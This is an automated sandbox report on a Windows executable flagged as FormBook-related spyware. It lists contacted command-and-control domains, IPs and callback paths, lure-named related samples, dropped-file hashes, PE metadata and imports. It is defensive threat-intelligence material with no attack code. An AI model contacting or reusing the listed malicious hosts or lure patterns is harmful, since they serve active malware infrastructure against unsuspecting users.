20.184.53.162	xzwp.g.zxy-cname.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
43.154.104.247	www.nmh6.site	Japan	4249	LILLY-ASUS	true
23.224.37.76	hse6978h2.g.asiagoogleantiddoscdn.com	United States	40065	CNSERVERSUS	true
81.2.196.19	asociacia.online	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	true
3.33.130.190	o731lh.vip	United States	8987	AMAZONEXPANSIONGB	true
15.197.204.56	www.broomeorchard.xyz	United States	7430	TANDEMUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529061
Start date and time:	2024-10-08 15:53:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Z6s208B9QX.exe renamed because original name is a hash value
Original Sample Name:	e24039b0b5c049807d966f0215f595410392fd4bc65142f101dc3282b6f75aa5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@13/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 51 Number of non-executed functions: 302
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Z6s208B9QX.exe

Simulations

Behavior and APIs

Time	Type	Description
09:55:17	API Interceptor	9318139x Sleep call for process: write.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.21.221.4	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/iydt/
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.tempatmudisini01.click/iydt/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/abla/
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/phdl/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/lybf/
	SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/r9rj/
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/abla/
199.192.21.169	8mmZ7Bkoj1.exe	Get hash	malicious	FormBook	Browse	www.cenfresh.life/6iok/
	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.technectar.top/ghvt/
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	www.urbanpulse.help/r50h/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
107.163.130.249	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	www.93187.xyz/jd6t/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.93187.xyz/jyeu/
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	www.93187.xyz/jyeu/
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.93187.xyz/jd6t/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.zenscape.top	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
hse6978h2.g.asiagoogleantiddoscdn.com	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	156.251.233.85
hse6978h2.g.asiagoogleantiddoscdn.com	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	23.224.27.173
www.broomeorchard.xyz	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	15.197.204.56
www.broomeorchard.xyz	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	15.197.204.56
www.nmh6.site	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	43.154.104.247
	shipping notification_pdf.exe	Get hash	malicious	FormBook	Browse	43.154.104.247
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	43.154.104.247

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TAKE2US	na.elf	Get hash	malicious	Mirai	Browse	107.163.175.138
	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	107.163.130.249
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	107.163.130.249
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	107.163.130.249
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	107.163.130.249
	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	23.231.158.3
	quotation.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	23.231.158.3
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	23.231.158.3
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	23.231.158.3
	Contract.exe	Get hash	malicious	FormBook	Browse	23.231.158.3
LINKNET-ID-APLinknetASNID	na.elf	Get hash	malicious	Unknown	Browse	139.41.97.67
	na.elf	Get hash	malicious	Unknown	Browse	139.16.199.224
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	139.34.248.222
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	103.21.221.4
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	103.21.221.87
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	103.21.221.4
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	103.21.221.4
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	103.21.221.4
	jNGMZWmt23.elf	Get hash	malicious	Mirai	Browse	139.37.141.74
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	103.21.221.4
HAWKHOSTCA	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
	PO23100072.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
	PO-000001488.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	198.252.106.136
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	198.252.106.191
	file No83293 PO & Specification.gz.exe	Get hash	malicious	FormBook	Browse	198.252.106.241
	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	198.252.105.116
	1AIemYSAZy.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	198.252.102.119
	ENEDGCErLu.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc, SystemBC	Browse	198.252.102.119
NAMECHEAP-NETUS	5FRWRDOqk7.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	ItPTgiBC07.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	198.54.122.135
	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	q6utlq83i0.exe	Get hash	malicious	Unknown	Browse	198.54.122.135
	RQ#071024.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	8mmZ7Bkoj1.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	FDA.exe	Get hash	malicious	FormBook	Browse	198.54.125.199
	PURCHASED ORDER OF ENG091.exe	Get hash	malicious	FormBook	Browse	63.250.38.167
	na.elf	Get hash	malicious	Mirai	Browse	162.255.117.53

Process:	C:\Windows\SysWOW64\write.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nonagglutinant

Download File

Process:	C:\Users\user\Desktop\Z6s208B9QX.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.994641784324539
Encrypted:	true
SSDEEP:	6144:zcPFP4/VDsdhkdSKY4cEcuDtpTu/iK9fA1x1yNNrvO:zmpEDIkEJifKiEA1x8fvO
MD5:	7DF87E0D88FDAD1D7F0B9A1110E5FC0F
SHA1:	29E42B73F2E176FB36510C749575F1D5F9CF6699
SHA-256:	B985C5F45ED6FB054009502CFB913164A82981AE7A07B71CEDD194375E78B29D
SHA-512:	62FCAB5836138AB7A5D6D7E76704F054DEEF07865A38AC44ADFBACBE8EED5A4E0C55C3CB960D25400E7C29888D55B4AE0E39231E3AEAA120894F6D1845FEF823
Malicious:	false
Reputation:	low
Preview:	x..a.F4HH..X...o.AN...c0[...HMGJQIH57SYAMY5PK3SF4HHMGJQIH5.SYACF.^K.Z...I..k.!!F.#+.+T=kP2(Z'<m%/q;=[.:7a..fp&\7#.EEGcJQIH57S @D..0,.n&S.u- .K....3>.W...wS4....{6..\T;d!*.5PK3SF4H..GJ.HI5...!MY5PK3SF.HJLLKZIHg3SYAMY5PK3#R4HH]GJQ9L57S.AMI5PK1SF2HHMGJQIN57SYAMY5 O3SD4HHMGJSI..7SIAMI5PK3CF4XHMGJQIX57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIfAR+-AMY1.O3SV4HH.CJQYH57SYAMY5PK3SF.HH-GJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHMGJQIH57SYAMY5PK3SF4HHM

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5623073767022575
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Z6s208B9QX.exe
File size:	1'403'415 bytes
MD5:	09bfd7f979770cde56456734d6d1ff8d
SHA1:	15a1450424a5bf0320b429d7aaa71dc724502d89
SHA256:	e24039b0b5c049807d966f0215f595410392fd4bc65142f101dc3282b6f75aa5
SHA512:	2f2f95cf6ef102c4538ce6633ce2f3c3bfbbc1eb4f41fdb3391eda436ad3742f7701ffcff0614c4d6162b9a92d9b9905aaf467998c0aaefe00dbcf579afdd7df
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCtC7Jv9zuKi8GfE1JTCtsri/c26MRxuQoO:7JZoQrbTFZY1iaCtCtsKgE18ZcoxubO
TLSH:	2155F122B5C68076C2F323B19E7AF769963D79360327D1D723C82D365EA05812B39763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F0D00CE31FBh
jmp 00007F0D00CDA06Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F0D00CDA1EAh
cmp edi, eax
jc 00007F0D00CDA386h
cmp ecx, 00000080h
jc 00007F0D00CDA1FEh
cmp dword ptr [004A9724h], 00000000h
je 00007F0D00CDA1F5h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F0D00CDA1E7h
jmp 00007F0D00CDA5C2h
test edi, 00000003h
jne 00007F0D00CDA1F6h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F0D00CDA20Bh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F0D00CDA1EEh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F0D031529E7h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F0D00CDA1AEh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
